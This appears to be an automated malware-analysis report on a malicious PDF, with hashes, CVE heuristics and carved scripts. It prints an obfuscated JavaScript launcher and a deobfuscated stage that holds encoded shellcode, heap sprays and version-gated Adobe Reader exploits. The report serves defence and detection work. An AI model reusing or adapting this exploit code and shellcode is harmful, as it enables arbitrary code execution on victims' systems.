Malicious PDF — malware analysis report

Static analysis result for SHA-256 1fe958b178dea80f…

MALICIOUS

PDF

28.8 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-08-12
MD5: b2580373c210420b1cf08a37eb11fb85 SHA-1: 9454e97d6411a176a74384565ea7dd2488a77267 SHA-256: 1fe958b178dea80f3f5cbc1fa44f16880f24023e9715eeb5421274922c0b7bb1
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although its specific functionality is obfuscated. The use of 'String.fromCharCode' further suggests an attempt to obfuscate the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 638 bytes
SHA-256: ac40b3666d7a8f06dd7dac34b7171d12e6916c8bd3651a2c199f3ce653158eb2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
rsh='';
var q2 = date.getFullYear()-2007;
ljrf='2011s'.replace(date.getFullYear(),'hi');
dmw=('.tit2011').replace(date.getFullYear(),'le');
Function('','nivja=t'+ljrf+dmw)();
yhl=('sub2011').replace(date.getFullYear(),'ject');
Function('','vargl=t'+ljrf+'.'+yhl)();
var vargl=vargl.replace(date.getFullYear(),'al');
Function('','xbso=t'+ljrf+'.'+vargl)();
mqyyf='.pro2011cer';
mqyyf=xbso('mqyyf.replace(date.getFullYear(),"du")');
Function('','kgoxd=t'+ljrf+mqyyf)();
zrtwa=xbso(kgoxd);
cwh = xbso(nivja);
for (i = 0; i < cwh.length; i++) {
	utqgq = cwh[i];
	rsh += zrtwa(utqgq);
}
xbso(rsh);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x34D 3630 bytes
SHA-256: 64a74b0e5b6e1991a7508680858a48ee2a22b319194c78ace0d43e300f1b0ef3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u35b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%udb34%ue2aa%uc3fa%ue5e8%uffff%u32ff%udad7%udbdb%u5a85%u8737%udbda%u52db%u563c%ucb94%ub456%uea8f%u8c00%u888a%u8888%u8888%u8888%u888e%ub388%udadf%udbdb%u8d8e%ub388%ub5b4%udbdb%uaeb3%ub7a9%u8fb6%u55b3%ud595%u3337%udb93%udbdb%u338b%udba7%udbdb%u0b24%u1f58%ub3d3%u3494%ude94%u338b%udbb7%udbdb%u0b24%u1b5e%uccae%u8fb1%u2882%ub371%u25a9%ucd68%uc633%udbdb%u8bdb%u8a33%udbdb%u24db%u880b%u25b1%u52b3%udab4%u3366%udbd3%udbdb%u338b%udbe7%udbdb%u0b24%ueabb%ubf1b%u8b50%u50eb%ud789%u8950%u50cf%uf3a9%uc362%udbdb%ueadb%uea24%u771b%ubae7%ud9a7%ufbf7%u141a%udad6%u391c%u5a2b%u8024%u9167%u50b1%ucb99%uc950%u02ae%u9f52%uc7ff%u18ba%u50bb%uffb7%u50ff%ue79e%u8f50%ua3de%u31da%u9150%u50c3%ufb81%u30da%uef38%u5092%u50ef%u35da%u24ea%u1bea%u7727%u1b5f%udcaf%u141a%udad6%u301c%ue02f%uffa7%uaef3%u503a%uff81%u30da%u50bd%u90d7%u8150%udac7%u5030%u50df%u33da%u9f52%uc7ff%u19ba%udbd3%u3433%u2425%ub324%uafaf%ue1ab%uf4f4%ua8ba%ua2aa%uf5af%ub5b2%ubff4%uabf5%uabb3%ubde4%ue9e6%ufded%ue6be%udbe8';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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